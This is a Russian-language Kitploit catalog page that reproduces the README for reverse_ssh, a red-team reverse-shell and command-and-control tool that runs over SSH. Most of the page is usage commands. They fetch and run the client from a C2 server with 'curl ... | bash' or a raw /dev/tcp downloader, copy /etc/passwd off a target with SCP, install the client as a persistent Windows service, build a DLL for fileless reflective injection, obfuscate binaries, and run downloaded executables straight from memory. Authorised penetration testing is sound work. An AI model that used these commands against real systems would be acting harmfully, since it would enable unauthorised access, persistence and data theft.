Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
reverse_ssh — Инструмент управления обратными оболочками на основе SSH с поддержкой SCP/SFTP, несколькими транспортными протоколами, генерацией DLL для Windows и бесфайловым выполнением для операций red team. | Kitploit
Инструменты/GitHubGitHub/nhas/reverse_ssh
Шелл-кодГенерация Шеллкода
GitHubnhas/reverse_ssh

reverse_ssh

Инструмент управления обратными оболочками на основе SSH с поддержкой SCP/SFTP, несколькими транспортными протоколами, генерацией DLL для Windows и бесфайловым выполнением для операций red team.

Репозиторий
1.4k184142 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обратный SSH

icon
(Авторство иллюстрации: https://www.instagram.com/smart.hedgehog.art/)

Хотите использовать SSH для обратных оболочек? Теперь это возможно.

  • Управление и подключение к обратным оболочкам с помощью нативного синтаксиса SSH
  • Динамическая, локальная и удаленная переадресация
  • Нативные реализации SCP и SFTP для извлечения файлов с ваших целей
  • Полноценная оболочка Windows
  • Несколько сетевых транспортов, таких как http, websockets, tls и другие
  • Взаимная аутентификация клиента и сервера для создания каналов управления с высоким доверием И многое другое!```text +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------+ +---------+ | | | | | | | | | Human | SSH | | SSH | +---------+ | Client +-------->+ <-----------------+ | | | | | | | RSSH | +---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+
root@kitploit:~
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1


- [Обратный SSH](#reverse-ssh)
  - [TL;DR](#tldr)
    - [Настройка](#setup)
    - [Базовое использование](#basic-usage)
  - [Спонсоры](#sponsors)
    - [Частные лица](#individuals)
    - [Компании](#companies)
  - [Расширенные возможности](#fancy-features)
    - [Привилегии](#privileges)
    - [Автоматическое обратное подключение](#automatic-connect-back)
    - [Загрузка обратной оболочки (генерация клиента и встроенный HTTP-сервер)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [Альтернативные транспорты (HTTP/WebSockets/TLS)](#alternate-transports-httpwebsocketstls)
    - [Автодополнение Bash](#bash-autocomplete)
    - [Генерация DLL для Windows](#windows-dll-generation)
    - [Подсистемы SSH](#ssh-subsystems)
      - [Все](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Интеграция со службами Windows](#windows-service-integration)
    - [Полная поддержка оболочки Windows](#full-windows-shell-support)
    - [Вебхуки](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [Безфайловое выполнение (клиенты поддерживают динамическую загрузку исполняемых файлов для выполнения в качестве оболочки)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [Поддерживаемые схемы URI](#supported-uri-schemes)
- [Справка](#help)
  - [Windows](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [Ошибки порождения сеанса (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [Сервер, запущенный с `--insecure`, всё равно выдаёт `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
  - [Foreground vs Background](#foreground-vs-background)
- [Пожертвования, поддержка или вклад](#donations-support-or-giving-back)

## TL;DR

### Настройка

Рекомендуется использовать релиз Docker, так как он включает правильную версию golang и кросс-компилятор для Windows.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

или docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data

root@kitploit:~
### Основное использование```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Все команды поддерживают флаг -h для получения справки.

Тогда типичные команды ssh работают, просто укажите ваш сервер rssh в качестве промежуточного хоста.```sh

Connect to full shell

ssh -J your.rssh.server.internal:3232 dummy.machine

Start remote forward

ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

Start dynamic forward

ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

SCP

scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

root@kitploit:~
## Спонсоры

Огромное спасибо следующим людям за пожертвования проекту RSSH, благодаря которым всё это стало возможным!

### Отдельные лица
[chikamobina](https://github.com/chikamobina) за щедрые пожертвования!  
[wrighterase (ctrlzero)](https://github.com/wrighterase) за пулл-реквесты и пожертвование!

### Компании

[Carapace](https://carapace.nz/) — новозеландская консалтинговая компания по кибербезопасности с чрезвычайно талантливой командой!  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)


## Классные возможности


### Привилегии
Сервер RSSH поддерживает очень простые привилегии пользователей. Пользователи, найденные в папке `data-directory`/`keys` (указывается с помощью `--datadir`), например `data-directory/keys/jim`, назначаются как «пользователи», которые могут видеть только тех клиентов, которые являются общедоступными (перечислены в файле `authorized_controllee_keys` без тега `owners` или с пустым тегом `owners`) либо явно назначены им (например, `owners="jim"`).

Это можно изменить во время выполнения с помощью команды `access`, которой пользователь делится доступом к своему клиенту, или администратором сервера. По умолчанию любой открытый ключ, найденный в файле `authorized_keys`, помечается как администратор для сохранения обратной совместимости.
Изменения, внесённые командой `access`, не сохраняются после перезагрузки сервера, и для этого потребуется отредактировать файл `authorized_controllee_keys` для этого конкретного клиента.

### Автоматический обратный вызов

Клиент rssh позволяет встроить адрес обратного вызова.
По умолчанию команда `link` встраивает внешний адрес сервера.

Если вы (по какой-либо причине) собираете бинарник вручную, вы можете указать переменную окружения `RSSH_HOMESERVER`, чтобы встроить её в клиент:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232

Загрузка обратной оболочки (генерация клиента и встроенный HTTP/Raw TCP сервер)

Сервер RSSH может собирать и размещать бинарные файлы клиентов (команда link). Это предпочтительный метод сборки и раздачи клиентов. Для работы функции сервер должен быть размещен в папке bin/ проекта, так как ему необходимо найти исходный код клиента.

По умолчанию в выпуске docker все это настроено должным образом, и его рекомендуется использовать.```sh ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not

Generate a client and serve it on a named link

catcher$ link --name test http://your.rssh.server.internal:3232/test

root@kitploit:~
Затем вы можете скачать его следующим образом:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test

Или вы можете использовать сырой TCP для загрузки клиентского двоичного файла:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test

root@kitploit:~
Формат для этого — просто `RAW`, за которым следует имя файла, т.е. в данном случае `test`, rssh может автоматически сгенерировать это для вас с помощью `--raw-download`.

Сервер RSSH также поддерживает окончания путей URL: `.sh`, `.py` и `.ps1`, которые сгенерируют скрипт, который можно передать в интерпретатор:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh

Альтернативные транспорты (HTTP/Websockets/TLS)

Сервер и клиент обратного SSH поддерживают несколько транспортов для случаев, когда глубокая инспекция пакетов блокирует исходящий SSH с хоста или сети. Вы можете указать схему обратного подключения вручную, задав её как URL в клиенте.

E.g```sh ./client -d ws://your.rssh.server:3232

root@kitploit:~
Или встроив его с помощью команды `link`.```sh
ssh your.rssh.server -p 3232 link --ws --name test

Автодополнение в Bash

Сервер RSSH имеет команду autocomplete, которая хорошо интегрируется с bash, чтобы у вас были автодополнения при работе не через консоль сервера. Для их установки просто выполните:```sh ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232

root@kitploit:~
И это вернет автодополнение, которое можно добавить в ваш `.zshrc` или `.bashrc`

Напр.```sh
_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill 

Позволяет выполнять автодополнения прямо из терминала:```sh

Will give you an option based on what clients are connected

ssh -J your.rssh.server.internal:3232

root@kitploit:~
### Windows DLL Generation

Вы можете скомпилировать клиент как DLL, который можно загрузить с помощью, например, [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Это полезно, если вы хотите выполнить бесфайловую инъекцию клиента rssh.

Для этого потребуется кросс-компилятор, если вы делаете это на linux, используйте `mingw-w64-gcc`, он включен в docker-релиз.```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

SSH-подсистемы

Протокол SSH поддерживает вызов подсистем с помощью флага -s. В RSSH это переосмыслено для предоставления специальных команд для платформ и поддержки sftp.

Все

list Список доступных подсистем

sftp: Запускает обработчик sftp для передачи файлов

Linux

setgid: Попытка сменить группу

setuid: Попытка сменить пользователя

Windows

service: Устанавливает или удаляет двоичный файл rssh как службу Windows, требуются права администратора

например```sh

Install the rssh binary as a service (windows only)

ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install

root@kitploit:~
### Windows Service Integration

Клиентский двоичный файл RSSH поддерживает запуск в службе Windows и не будет отключаться по тайм-ауту через 10 секунд. Это отлично подходит для создания постоянных сервисов управления.

### Full Windows Shell Support

Большинство обратных оболочек для Windows с трудом создают среду оболочки, поддерживающую изменение размера, копирование и вставку, а также все остальные функции, к которым мы все так привыкли. Этот проект использует `conpty` на новых версиях Windows и библиотеку `winpty` (которая самораспаковывается) на старых версиях. Это означает, что почти все версии Windows предоставят вам полноценную оболочку.

### Webhooks

Сервер RSSH может отправлять необработанные HTTP-запросы, заданные с помощью команды `webhook` из интерфейса терминала.

Сначала включите веб-хук:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/

Затем отключитесь или подключите клиента — это вызовет POST-запрос в следующем формате.```bash $ nc -l -p 8080 POST /rssh_webhook HTTP/1.1 Host: localhost:8080 User-Agent: Go-http-client/1.1 Content-Length: 165 Content-Type: application/json Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

root@kitploit:~
В качестве дополнительного примечания, используйте конечную точку `/slack`, если подключаете это к Discord.

### Tun (VPN)

RSSH и SSH поддерживают создание интерфейсов tuntap, которые позволяют маршрутизировать трафик и создавать псевдо-VPN. Для этого требуется немного больше настройки, чем для простого локального или удаленного проброса (`-L`, `-R`), но в этом режиме вы можете отправлять `UDP` и `ICMP`.

#### Важное примечание

Если вы подключаетесь к вредоносному клиенту RSSH, он сможет подключиться обратно к вашему туннельному устройству. Поэтому важно не включать проброс портов, а также либо настроить правила брандмауэра для блокировки любых подключений к локальной машине, либо запускать это из контейнера/netns.

Установите клиент на удаленной машине; это не будет работать, если ваш клиент RSSH находится на том же хосте, что и ваше устройство tun.```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0

У этого есть некоторые ограничения: он может отправлять только UDP/TCP/ICMP, а не произвольные протоколы 3-го уровня. ICMP работает по принципу best effort и может использовать инструмент ping удалённого хоста, поскольку ICMP-сокеты привилегированы на большинстве машин. Также не поддерживаются устройства tap, например L2 VPN, так как для этого требуются права администратора.

Бесфайловое выполнение (Клиенты поддерживают динамическую загрузку исполняемых файлов для выполнения в качестве оболочки)

При указании того, какой исполняемый файл должен запускать бинарник rssh — при подключении с полноценной PTY-сессией или при прямом выполнении — клиент поддерживает схемы URI для загрузки исполняемых файлов с удалённых хостов.

Например.```sh connect --shell https://your.host/program <rssh_client_id> ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program

root@kitploit:~
#### Поддерживаемые схемы URI

`http/https`: Чистая загрузка через веб

`rssh`: Загрузка через сервер rssh

Сервер rssh будет предоставлять содержимое из каталога `downloads` в рабочем каталоге исполняемого файла.

Оба этих метода при возможности будут использовать [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html), что не приведет к записи исполняемых файлов на диск.

# Справка

## Windows

### SFTP

Из-за ограничений SFTP (а точнее библиотеки, которую я для этого использую) в Windows требуется немного больше усилий для работы с путями.```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'

Обратите внимание на / перед начальным символом.

Ошибки порождения сеанса (0xc0000142)

При некоторых условиях выполнения подключение к клиенту RSSH в Windows может завершиться без ошибки.```sh catcher$ connect windows-system Session has terminated.

root@kitploit:~
Журналы клиента:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected

Существует две распространённые причины этого: первая — антивирус убил порождённый powershell, а вторая — 0xc0000142 возникает, когда результирующий процесс не имеет разрешений на доступ к Windows Station или Desktop источник.

Чтобы определить, какая из них вызывает проблему, выполните любую команду без pty:```sh ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142

root@kitploit:~
Если вы видите код ошибки `0xc0000142`, попробуйте запустить `CMD.exe` и принудительно выделить pty (`-t`):```sh
ssh -t -J rssh windows-system CMD.exe

Это должно запустить интерактивную оболочку.

Сервер, запущенный с --insecure, всё равно выдаёт Failed to handshake

Если клиентский бинарный файл был сгенерирован с помощью команды link, этот клиент по умолчанию включает в себя отпечаток открытого ключа сервера. Если вы потеряете свой закрытый ключ сервера, клиенты больше не смогут подключаться. Вы также можете сгенерировать клиентов с помощью link --fingerprint <fingerprint here>, чтобы указать отпечаток; на данный момент, начиная с версии 1.0.13, нет возможности отключить эту функцию.

Передний план vs Фоновый режим

По умолчанию клиенты выполняются в фоновом режиме, после чего родительский процесс завершается, а дочерний процесс получает stdout/stderr родительского процесса, так что вы сможете видеть вывод. Если вам нужно отладить клиент, используйте флаг --foreground.

Пожертвования, поддержка или благодарность

Самый простой способ внести вклад в проект RSSH — находить ошибки, открывать запросы на новые функции и рекомендовать его по «сарафанному радио» тем, кому он, по вашему мнению, будет полезен!

Однако, если вы хотите отблагодарить меня напрямую, вы можете сделать это через Kofi или Github Sponsors (под надписью «Sponsor this Project» справа). Или сделайте пожертвование, отправив средства на один из следующих кошельков:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

Скачать инструмент